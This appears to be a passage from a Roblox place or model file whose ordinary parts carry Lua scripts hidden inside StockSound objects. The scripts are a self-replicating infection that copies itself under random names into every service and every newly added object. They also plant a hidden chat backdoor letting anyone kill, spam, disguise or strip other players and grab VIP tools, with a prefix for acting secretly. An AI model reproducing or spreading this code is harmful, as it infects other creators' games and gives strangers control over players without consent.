end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
				</Item>
			</Item>
			<Item class="StockSound" referent="RBX756">
				<Properties>
					<bool name="Looped">false</bool>
					<string name="Name">1all</string>
					<int name="PlayCount">-1</int>
					<bool name="PlayOnRemove">false</bool>
					<Content name="SoundId"><null></null></Content>
					<float name="Volume">0.5</float>
					<bool name="archivable">true</bool>
				</Properties>
				<Item class="Script" referent="RBX757">
					<Properties>
						<bool name="Disabled">false</bool>
						<Content name="LinkedSource"><null></null></Content>
						<string name="Name">sl0v</string>
						<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
						<bool name="archivable">true</bool>
					</Properties>
				</Item>
			</Item>
		</Item>
		<Item class="Part" referent="RBX758">
			<Properties>
				<bool name="Anchored">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">27</int>
				<CoordinateFrame name="CFrame">
					<X>-166</X>
					<Y>1</Y>
					<Z>-11.5</Z>
					<R00>-1.52267909e-009</R00>
					<R01>-4.97906036e-008</R01>
					<R02>-1</R02>
					<R10>-8.64597638e-008</R10>
					<R11>1</R11>
					<R12>4.97906036e-008</R12>
					<R20>1</R20>
					<R21>-8.64597638e-008</R21>
					<R22>1.52267909e-009</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<token name="Controller">0</token>
				<bool name="ControllerFlagShown">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Smooth Block Model</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>1</X>
					<Y>1.20000005</Y>
					<Z>4</Z>
				</Vector3>
			</Properties>
			<Item class="StockSound" referent="RBX759">
				<Properties>
					<bool name="Looped">false</bool>
					<string name="Name">nfmrln</string>
					<int name="PlayCount">-1</int>
					<bool name="PlayOnRemove">false</bool>
					<Content name="SoundId"><null></null></Content>
					<float name="Volume">0.5</float>
					<bool name="archivable">true</bool>
				</Properties>
